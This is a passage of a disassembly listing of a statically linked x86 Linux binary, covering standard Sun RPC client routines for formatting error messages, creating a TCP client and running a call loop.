		lea	eax, [ebp+var_C]
		push	eax
		push	esi
		mov	eax, [edx+8]
		call	eax
		push	edi
		call	sprintf(&ebx,'%s',edi)
		push	ebx
		call	sub_0_80662B0
		add	ebx, eax
		mov	eax, [ebp+var_C]
		push	eax
		call	sub_0_80638B8
		call	strcpy(ebx,eax)
		add	esp, 24h
		push	ebx
		call	sub_0_80662B0
		add	ebx, eax
		call	sub_0_805E954
		add	esp, 4
		cmp	[ebp+var_C], 11h
		ja	loc_0_806385C
		mov	eax, [ebp+var_C]
		jmp	ds:off_0_8063708[eax*4]
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
off_0_8063708	dd offset loc_0_806387A	; DATA XREF: sub_0_8063688+79r
		dd offset loc_0_806387A
		dd offset loc_0_806387A
		dd offset loc_0_8063750
		dd offset loc_0_8063750
		dd offset loc_0_806387A
		dd offset loc_0_806379C
		dd offset loc_0_80637C4
		dd offset loc_0_806387A
		dd offset loc_0_8063838
		dd offset loc_0_806387A
		dd offset loc_0_806387A
		dd offset loc_0_806387A
		dd offset loc_0_806387A
		dd offset loc_0_806387A
		dd offset loc_0_806387A
		dd offset loc_0_806387A
		dd offset loc_0_806387A
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ

loc_0_8063750:				; CODE XREF: sub_0_8063688+79j
					; DATA XREF: sub_0_8063688+8Co	...
		mov	eax, [ebp+var_8]
		mov	eax, ds:dword_0_806AE98[eax*4]
		push	eax
		mov	eax, [ebp+var_8]
		inc	eax
		push	eax
		push	1
		mov	eax, dword_0_8078F9C
		push	eax
		call	sub_0_805E584
		push	eax
		push	offset aErrnoS	; "; errno = %s"
		push	1
		push	9
		mov	eax, dword_0_8078F9C
		push	eax
		call	sub_0_805E584
		add	esp, 10h
		call	sprintf(&ebx,eax)
		push	ebx
		call	sub_0_80662B0
		add	ebx, eax
		add	esp, 20h
		jmp	loc_0_806387A
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ

loc_0_806379C:				; CODE XREF: sub_0_8063688+79j
					; DATA XREF: sub_0_8063688+98o
		mov	eax, [ebp+var_4]
		push	eax
		mov	eax, [ebp+var_8]
		push	eax
		push	offset aLowVersionLuHi ; "; low	version	= %lu, high version = %lu"
		push	2
		push	9
		mov	eax, dword_0_8078F9C
		push	eax
		call	sub_0_805E584
		add	esp, 10h
		push	eax
		jmp	loc_0_8063869
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_80637C4:				; CODE XREF: sub_0_8063688+79j
					; DATA XREF: sub_0_8063688+9Co
		mov	eax, [ebp+var_8]
		push	eax
		call	sub_0_8063A74
		mov	esi, eax
		push	offset aWhy	; "; why = "
		push	3
		push	9
		mov	eax, dword_0_8078F9C
		push	eax
		call	sub_0_805E584
		call	sprintf(&ebx,eax)
		push	ebx
		call	sub_0_80662B0
		add	ebx, eax
		add	esp, 20h
		test	esi, esi
		jz	short loc_0_8063804
		push	esi
		push	offset aS_3	; "%s"
		jmp	short loc_0_8063820
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_8063804:				; CODE XREF: sub_0_8063688+16Fj
		mov	eax, [ebp+var_8]
		push	eax
		push	offset aUnknownAuthent ; "(unknown authentication error	- %d)"
		push	4
		push	9
		mov	eax, dword_0_8078F9C
		push	eax
		call	sub_0_805E584
		add	esp, 10h
		push	eax

loc_0_8063820:				; CODE XREF: sub_0_8063688+177j
		call	sprintf(ebx,...)
		add	esp, 0Ch
		push	ebx
		call	sub_0_80662B0
		add	ebx, eax
		add	esp, 4
		jmp	short loc_0_806387A
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_8063838:				; CODE XREF: sub_0_8063688+79j
					; DATA XREF: sub_0_8063688+A4o
		mov	eax, [ebp+var_4]
		push	eax
		mov	eax, [ebp+var_8]
		push	eax
		push	offset aLowVersionLuHi ; "; low	version	= %lu, high version = %lu"
		push	2
		push	9
		mov	eax, dword_0_8078F9C
		push	eax
		call	sub_0_805E584
		add	esp, 10h
		push	eax
		jmp	short loc_0_8063869
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_806385C:				; CODE XREF: sub_0_8063688+70j
		mov	eax, [ebp+var_4]
		push	eax
		mov	eax, [ebp+var_8]
		push	eax
		push	offset aS1LuS2Lu ; "; s1 = %lu,	s2 = %lu"

loc_0_8063869:				; CODE XREF: sub_0_8063688+134j
					; sub_0_8063688+1D0j
		call	sprintf(ebx,...)
		push	ebx
		call	sub_0_80662B0
		add	ebx, eax
		add	esp, 14h

loc_0_806387A:				; CODE XREF: sub_0_8063688+79j
					; sub_0_8063688+10Fj ...
		call	sprintf(ebx,'\n')
		mov	eax, [ebp+var_10]

loc_0_8063888:				; CODE XREF: sub_0_8063688+20j
		lea	esp, [ebp+var_1C]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn	
sub_0_8063688	endp

; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

; ллллллллллллллл S U B	R O U T	I N E ллллллллллллллллллллллллллллллллллллллл

; Attributes: bp-based frame

sub_0_8063894	proc near		; CODE XREF: sub_0_805D3A8+16Bp
					; sub_0_805D638+E3p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+arg_0]
		mov	eax, [ebp+arg_4]
		push	eax
		push	edx
		call	sub_0_8063688
		call	fprintf(unk_0_80787a4,'%s',eax)
		mov	esp, ebp
		pop	ebp
		retn	
sub_0_8063894	endp


; ллллллллллллллл S U B	R O U T	I N E ллллллллллллллллллллллллллллллллллллллл

; Attributes: bp-based frame

sub_0_80638B8	proc near		; CODE XREF: sub_0_8063688+4Dp
					; .text:0806393Fp ...

var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		mov	esi, [ebp+arg_0]
		call	sub_0_805E954
		xor	ebx, ebx
		mov	edi, offset unk_0_80790D8
		xor	ecx, ecx
		mov	eax, offset unk_0_80790D8

loc_0_80638D4:				; CODE XREF: sub_0_80638B8+60j
		cmp	[eax], esi
		jnz	short loc_0_80638E4
		mov	eax, [edi+ecx+4]
		push	eax
		lea	eax, [esi+1]
		push	eax
		jmp	short loc_0_8063921
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_80638E4:				; CODE XREF: sub_0_80638B8+1Ej
		lea	edx, [ecx+8]
		cmp	[eax+8], esi
		jnz	short loc_0_80638F8
		mov	eax, [edi+edx+4]
		push	eax
		lea	eax, [esi+1]
		push	eax
		jmp	short loc_0_8063921
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_80638F8:				; CODE XREF: sub_0_80638B8+32j
		lea	edx, [ecx+10h]
		cmp	[eax+10h], esi
		jnz	short loc_0_806390C
		mov	eax, [edi+edx+4]
		push	eax
		lea	eax, [esi+1]
		push	eax
		jmp	short loc_0_8063921
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_806390C:				; CODE XREF: sub_0_80638B8+46j
		add	eax, 18h
		add	ecx, 18h
		add	ebx, 3
		cmp	ebx, 11h
		jbe	short loc_0_80638D4
		push	offset aRpcUnknownErro ; "RPC: (unknown	error code)"
		push	13h

loc_0_8063921:				; CODE XREF: sub_0_80638B8+29j
					; sub_0_80638B8+3Dj ...
		push	8
		mov	eax, dword_0_8078F9C
		push	eax
		call	sub_0_805E584
		lea	esp, [ebp+var_C]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn	
sub_0_80638B8	endp

; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+8]
		push	eax
		call	sub_0_80638B8
		call	fprintf(unk_0_80787a4,'%s',eax)
		mov	esp, ebp
		pop	ebp
		retn	

; ллллллллллллллл S U B	R O U T	I N E ллллллллллллллллллллллллллллллллллллллл

; Attributes: bp-based frame

sub_0_8063958	proc near		; CODE XREF: .text:08063A5Bp

var_8		= byte ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	esi
		push	ebx
		mov	esi, [ebp+arg_0]
		call	sub_0_8063664
		mov	ebx, eax
		test	ebx, ebx
		jnz	short loc_0_8063974
		xor	eax, eax
		jmp	loc_0_8063A48
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_8063974:				; CODE XREF: sub_0_8063958+11j
		call	sub_0_805E954
		call	sprintf(&ebx,'%s',esi)
		mov	eax, dword_0_8079220
		push	eax
		call	sub_0_80638B8
		call	strcat(ebx,eax)
		add	esp, 18h
		mov	eax, dword_0_8079220
		cmp	eax, 0Ch
		jz	short loc_0_80639D0
		cmp	eax, 0Eh
		jnz	loc_0_8063A3B
		call	strcat(ebx,' - ')
		mov	eax, dword_0_8079224
		push	eax
		call	sub_0_80638B8
		call	strcat(ebx,eax)
		add	esp, 14h
		jmp	short loc_0_8063A3B
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_80639D0:				; CODE XREF: sub_0_8063958+4Aj
		call	strcat(ebx,' - ')
		cmp	dword_0_8079228, 0
		jle	short loc_0_8063A1C
		mov	eax, dword_0_8079228
		cmp	ds:dword_0_806BBB8, eax
		jle	short loc_0_8063A1C
		mov	eax, ds:dword_0_806AE98[eax*4]
		push	eax
		mov	eax, dword_0_8079228
		inc	eax
		push	eax
		push	1
		mov	eax, dword_0_8078F9C
		push	eax
		call	sub_0_805E584
		call	strcat(ebx,eax)
		add	esp, 18h
		jmp	short loc_0_8063A3B
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ

loc_0_8063A1C:				; CODE XREF: sub_0_8063958+8Dj
					; sub_0_8063958+9Aj
		mov	eax, dword_0_8079228
		push	eax
		push	offset aErrorD	; "Error %d"
		push	ebx
		call	sub_0_80662B0
		add	esp, 4
		add	eax, ebx
		call	sprintf(&eax,...)
		add	esp, 0Ch

loc_0_8063A3B:				; CODE XREF: sub_0_8063958+4Fj
					; sub_0_8063958+75j ...
		call	strcat(ebx,'\n')
		mov	eax, ebx

loc_0_8063A48:				; CODE XREF: sub_0_8063958+15j
		lea	esp, [ebp+var_8]
		pop	ebx
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn	
sub_0_8063958	endp

; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4
		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+8]
		push	eax
		call	sub_0_8063958
		call	fprintf(unk_0_80787a4,'%s',eax)
		mov	esp, ebp
		pop	ebp
		retn	

; ллллллллллллллл S U B	R O U T	I N E ллллллллллллллллллллллллллллллллллллллл

; Attributes: bp-based frame

sub_0_8063A74	proc near		; CODE XREF: sub_0_8063688+140p

var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		mov	esi, [ebp+arg_0]
		call	sub_0_805E954
		xor	ebx, ebx
		mov	edi, offset unk_0_8079168
		xor	ecx, ecx
		mov	eax, offset unk_0_8079168

loc_0_8063A90:				; CODE XREF: sub_0_8063A74+80j
		cmp	[eax], esi
		jnz	short loc_0_8063AA0
		mov	eax, [edi+ecx+4]
		push	eax
		lea	eax, [ebx+1]
		jmp	short loc_0_8063AD8
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_8063AA0:				; CODE XREF: sub_0_8063A74+1Ej
		lea	edx, [ecx+8]
		cmp	[eax+8], esi
		jnz	short loc_0_8063AB4
		mov	eax, [edi+edx+4]
		push	eax
		lea	eax, [ebx+2]
		jmp	short loc_0_8063AD8
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_8063AB4:				; CODE XREF: sub_0_8063A74+32j
		lea	edx, [ecx+10h]
		cmp	[eax+10h], esi
		jnz	short loc_0_8063AC8
		mov	eax, [edi+edx+4]
		push	eax
		lea	eax, [ebx+3]
		jmp	short loc_0_8063AD8
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_8063AC8:				; CODE XREF: sub_0_8063A74+46j
		lea	edx, [ecx+18h]
		cmp	[eax+18h], esi
		jnz	short loc_0_8063AE8
		mov	eax, [edi+edx+4]
		push	eax
		lea	eax, [ebx+4]

loc_0_8063AD8:				; CODE XREF: sub_0_8063A74+28j
					; sub_0_8063A74+3Cj ...
		push	eax
		push	7
		mov	eax, dword_0_8078F9C
		push	eax
		call	sub_0_805E584
		jmp	short loc_0_8063AF8
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ

loc_0_8063AE8:				; CODE XREF: sub_0_8063A74+5Aj
		add	eax, 20h
		add	ecx, 20h
		add	ebx, 4
		cmp	ebx, 7
		jbe	short loc_0_8063A90
		xor	eax, eax

loc_0_8063AF8:				; CODE XREF: sub_0_8063A74+72j
		lea	esp, [ebp+var_C]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn	
sub_0_8063A74	endp

; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

; ллллллллллллллл S U B	R O U T	I N E ллллллллллллллллллллллллллллллллллллллл

; Attributes: bp-based frame

sub_0_8063B04	proc near		; CODE XREF: sub_0_805CE84+248p
					; .text:0805DAB3p

var_44		= byte ptr -44h
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 38h
		push	edi
		push	esi
		push	ebx
		mov	ebx, [ebp+arg_0]
		xor	esi, esi
		call	sub_0_805E954
		call	malloc(12)
		mov	edi, eax
		test	edi, edi
		jz	short loc_0_8063B37
		call	malloc(100)
		mov	esi, eax
		test	esi, esi
		jnz	short loc_0_8063B78

loc_0_8063B37:				; CODE XREF: sub_0_8063B04+21j
		push	offset aOutOfMemory ; "out of memory"
		push	1
		push	0Ah
		mov	eax, dword_0_8078F9C
		push	eax
		call	sub_0_805E584
		call	fprintf(unk_0_80787a4,'clnttcp_create: %s\n',eax)
		mov	dword_0_8079220, 0Ch
		mov	eax, errno
		mov	dword_0_8079228, eax
		add	esp, 1Ch
		jmp	loc_0_8063D08
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_8063B78:				; CODE XREF: sub_0_8063B04+31j
		cmp	word ptr [ebx+2], 0
		jnz	short loc_0_8063BA1
		push	6
		mov	edx, [ebp+arg_8]
		push	edx
		mov	edx, [ebp+arg_4]
		push	edx
		push	ebx
		call	sub_0_80649E0
		add	esp, 10h
		test	ax, ax
		jz	loc_0_8063D08
		xchg	al, ah
		mov	[ebx+2], ax

loc_0_8063BA1:				; CODE XREF: sub_0_8063B04+79j
		mov	edx, [ebp+arg_C]
		cmp	dword ptr [edx], 0
		jge	short loc_0_8063C10
		call	socket(AF_INET,SOCK_STREAM,6)
		mov	edx, [ebp+arg_C]
		mov	[edx], eax
		push	0
		push	eax
		call	sub_0_8066A50
		add	esp, 14h
		mov	edx, [ebp+arg_C]
		cmp	dword ptr [edx], 0
		jl	short loc_0_8063BDE
		call	connect([edx],ebx,16)
		test	eax, eax
		jge	short loc_0_8063C04

loc_0_8063BDE:				; CODE XREF: sub_0_8063B04+C6j
		mov	dword_0_8079220, 0Ch
		mov	eax, errno
		mov	dword_0_8079228, eax
		mov	edx, [ebp+arg_C]
		cmp	dword ptr [edx], 0
		jl	loc_0_8063D08
		jmp	loc_0_8063CA1
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_8063C04:				; CODE XREF: sub_0_8063B04+D8j
		mov	dword ptr [esi+4], 1
		jmp	short loc_0_8063C17
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_8063C10:				; CODE XREF: sub_0_8063B04+A3j
		mov	dword ptr [esi+4], 0

loc_0_8063C17:				; CODE XREF: sub_0_8063B04+107j
		mov	edx, [ebp+arg_C]
		mov	eax, [edx]
		mov	[esi], eax
		mov	dword ptr [esi+0Ch], 0
		mov	dword ptr [esi+10h], 0
		mov	eax, [ebx]
		mov	[esi+14h], eax
		mov	eax, [ebx+4]
		mov	[esi+18h], eax
		mov	eax, [ebx+8]
		mov	[esi+1Ch], eax
		mov	eax, [ebx+0Ch]
		mov	[esi+20h], eax
		push	0
		lea	eax, [ebp+var_38]
		push	eax
		call	gettimeofday
		call	getpid
		xor	eax, [ebp+var_38]
		xor	eax, [ebp+var_34]
		mov	[ebp+var_30], eax
		mov	[ebp+var_2C], 0
		mov	[ebp+var_28], 2
		mov	edx, [ebp+arg_4]
		mov	[ebp+var_24], edx
		mov	edx, [ebp+arg_8]
		mov	[ebp+var_20], edx
		push	0
		push	18h
		lea	eax, [esi+30h]
		push	eax
		lea	ebx, [esi+4Ch]
		push	ebx
		call	sub_0_8065408
		lea	eax, [ebp+var_30]
		push	eax
		push	ebx
		call	sub_0_8064C9C
		add	esp, 20h
		test	eax, eax
		jnz	short loc_0_8063CB0
		cmp	dword ptr [esi+4], 0
		jz	short loc_0_8063D08
		mov	edx, [ebp+arg_C]

loc_0_8063CA1:				; CODE XREF: sub_0_8063B04+FAj
		call	close([edx])
		jmp	short loc_0_8063D08
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_8063CB0:				; CODE XREF: sub_0_8063B04+192j
		mov	eax, [esi+50h]
		lea	ebx, [esi+4Ch]
		push	ebx
		mov	eax, [eax+10h]
		call	eax
		mov	[esi+48h], eax
		mov	eax, [esi+50h]
		add	esp, 4
		cmp	dword ptr [eax+1Ch], 0
		jz	short loc_0_8063CD4
		push	ebx
		mov	eax, [eax+1Ch]
		call	eax
		add	esp, 4

loc_0_8063CD4:				; CODE XREF: sub_0_8063B04+1C5j
		push	offset sub_0_8064174
		push	offset sub_0_8064074
		push	esi
		mov	edx, [ebp+arg_14]
		push	edx
		mov	edx, [ebp+arg_10]
		push	edx
		lea	eax, [esi+4Ch]
		push	eax
		call	sub_0_8065750
		mov	dword ptr [edi+4], offset off_0_80791A8
		mov	[edi+8], esi
		call	sub_0_8067094
		mov	[edi], eax
		mov	eax, edi
		jmp	short loc_0_8063D16
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_8063D08:				; CODE XREF: sub_0_8063B04+6Ej
					; sub_0_8063B04+91j ...
		call	free(esi)
		call	free(edi)
		xor	eax, eax

loc_0_8063D16:				; CODE XREF: sub_0_8063B04+1FFj
		lea	esp, [ebp+var_44]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn	
sub_0_8063B04	endp


; ллллллллллллллл S U B	R O U T	I N E ллллллллллллллллллллллллллллллллллллллл

; Attributes: bp-based frame

sub_0_8063D20	proc near		; DATA XREF: .data:080791A8o

var_50		= byte ptr -50h
var_44		= dword	ptr -44h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		sub	esp, 44h
		push	edi
		push	esi
		push	ebx
		mov	ecx, [ebp+arg_0]
		mov	ebx, [ecx+8]
		lea	esi, [ebx+4Ch]
		lea	edi, [ebx+30h]
		mov	[ebp+var_38], edi
		mov	[ebp+var_3C], 2
		cmp	dword ptr [ebx+10h], 0
		jnz	short loc_0_8063D51
		mov	ecx, [ebp+arg_18]
		mov	[ebx+8], ecx
		mov	ecx, [ebp+arg_1C]
		mov	[ebx+0Ch], ecx

loc_0_8063D51:				; CODE XREF: sub_0_8063D20+23j
		mov	[ebp+var_44], 0
		cmp	[ebp+arg_10], 0
		jnz	short loc_0_8063D6A
		cmp	[ebp+arg_18], 0
		jnz	short loc_0_8063D6A
		cmp	[ebp+arg_1C], 0
		jz	short loc_0_8063D71

loc_0_8063D6A:				; CODE XREF: sub_0_8063D20+3Cj
					; sub_0_8063D20+42j
		mov	[ebp+var_44], 1

loc_0_8063D71:				; CODE XREF: sub_0_8063D20+48j
					; sub_0_8063D20+22Cj
		mov	dword ptr [esi], 0
		mov	dword ptr [ebx+24h], 0
		mov	edi, [ebp+var_38]
		dec	dword ptr [edi]
		mov	ecx, [edi]
		xchg	cl, ch
		ror	ecx, 10h
		xchg	cl, ch
		mov	[ebp+var_34], ecx
		mov	edi, [esi+4]
		mov	edx, [ebx+48h]
		push	edx
		lea	edx, [ebx+30h]
		push	edx
		push	esi
		mov	edx, [edi+0Ch]
		call	edx
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_0_8063DE2
		mov	edx, [esi+4]
		lea	ecx, [ebp+arg_4]
		push	ecx
		push	esi
		mov	edx, [edx+4]
		call	edx
		add	esp, 8
		test	eax, eax
		jz	short loc_0_8063DE2
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx]
		mov	edi, [edx+20h]
		push	esi
		push	edx
		mov	edx, [edi+4]
		call	edx
		add	esp, 8
		test	eax, eax
		jz	short loc_0_8063DE2
		mov	ecx, [ebp+arg_C]
		push	ecx
		push	esi
		mov	edi, [ebp+arg_8]
		call	edi
		add	esp, 8
		test	eax, eax
		jnz	short loc_0_8063DFC

loc_0_8063DE2:				; CODE XREF: sub_0_8063D20+85j
					; sub_0_8063D20+99j ...
		cmp	dword ptr [ebx+24h], 0
		jnz	short loc_0_8063DEF
		mov	dword ptr [ebx+24h], 1

loc_0_8063DEF:				; CODE XREF: sub_0_8063D20+C6j
		push	1
		push	esi
		call	sub_0_8065BE4
		jmp	loc_0_8063F52
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ

loc_0_8063DFC:				; CODE XREF: sub_0_8063D20+C0j
		mov	ecx, [ebp+var_44]
		push	ecx
		push	esi
		call	sub_0_8065BE4
		add	esp, 8
		test	eax, eax
		jnz	short loc_0_8063E20
		mov	dword ptr [ebx+24h], 3
		mov	eax, 3
		jmp	loc_0_8063F55
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_8063E20:				; CODE XREF: sub_0_8063D20+EBj
		cmp	[ebp+var_44], 0
		jnz	short loc_0_8063E30
		xor	eax, eax
		jmp	loc_0_8063F55
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_8063E30:				; CODE XREF: sub_0_8063D20+104j
		cmp	[ebp+arg_18], 0
		jnz	short loc_0_8063E50
		cmp	[ebp+arg_1C], 0
		jnz	short loc_0_8063E50
		mov	dword ptr [ebx+24h], 5
		mov	eax, 5
		jmp	loc_0_8063F55
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_8063E50:				; CODE XREF: sub_0_8063D20+114j
					; sub_0_8063D20+11Aj
		mov	dword ptr [esi], 1
		lea	esi, [esi]

loc_0_8063E58:				; CODE XREF: sub_0_8063D20+187j
					; sub_0_8063D20+196j
		mov	edx, dword_0_8079230
		mov	[ebp+var_24], edx
		mov	edx, dword_0_8079234
		mov	[ebp+var_20], edx
		mov	edx, dword_0_8079238
		mov	[ebp+var_1C], edx
		mov	[ebp+var_14], 0
		mov	[ebp+var_10], offset sub_0_8064E94
		push	esi
		call	sub_0_8065B2C
		add	esp, 4
		test	eax, eax
		jz	loc_0_8063F52
		lea	edx, [ebp+var_30]
		push	edx
		push	esi
		call	sub_0_8064C48
		add	esp, 8
		test	eax, eax
		jnz	short loc_0_8063EB0
		cmp	dword ptr [ebx+24h], 0
		jz	short loc_0_8063E58
		jmp	loc_0_8063F52
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_8063EB0:				; CODE XREF: sub_0_8063D20+181j
		mov	ecx, [ebp+var_34]
		cmp	[ebp+var_30], ecx
		jnz	short loc_0_8063E58
		lea	edx, [ebx+24h]
		push	edx
		lea	edx, [ebp+var_30]
		push	edx
		call	sub_0_8064DE0
		add	esp, 8
		cmp	dword ptr [ebx+24h], 0
		jnz	short loc_0_8063F30
		mov	edi, [ebp+arg_0]
		mov	edi, [edi]
		mov	eax, [edi+20h]
		lea	edx, [ebp+var_24]
		push	edx
		push	edi
		mov	edx, [eax+8]
		call	edx
		add	esp, 8
		test	eax, eax
		jnz	short loc_0_8063EF8
		mov	dword ptr [ebx+24h], 7
		mov	dword ptr [ebx+28h], 6
		jmp	short loc_0_8063F16
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_8063EF8:				; CODE XREF: sub_0_8063D20+1C5j
		mov	ecx, [ebp+arg_14]
		push	ecx
		push	esi
		mov	edi, [ebp+arg_10]
		call	edi
		add	esp, 8
		test	eax, eax
		jnz	short loc_0_8063F16
		cmp	dword ptr [ebx+24h], 0
		jnz	short loc_0_8063F16
		mov	dword ptr [ebx+24h], 2

loc_0_8063F16:				; CODE XREF: sub_0_8063D20+1D5j
					; sub_0_8063D20+1E7j ...
		cmp	[ebp+var_20], 0
		jz	short loc_0_8063F52
		mov	dword ptr [esi], 2
		lea	edx, [ebp+var_24]
		push	edx
		push	esi
		call	sub_0_8064B1C
		jmp	short loc_0_8063F52
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_8063F30:				; CODE XREF: sub_0_8063D20+1ACj
		dec	[ebp+var_3C]
		cmp	[ebp+var_3C], 0FFFFFFFFh
		jz	short loc_0_8063F52
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx]
		mov	edi, [edx+20h]
		push	edx
		mov	edx, [edi+0Ch]
		call	edx
		add	esp, 4
		test	eax, eax
		jnz	loc_0_8063D71

loc_0_8063F52:				; CODE XREF: sub_0_8063D20+D7j
					; sub_0_8063D20+16Cj ...
		mov	eax, [ebx+24h]

loc_0_8063F55:				; CODE XREF: sub_0_8063D20+F9j
					; sub_0_8063D20+108j ...
		lea	esp, [ebp+var_50]
		pop	ebx
		pop	esi
		pop	edi
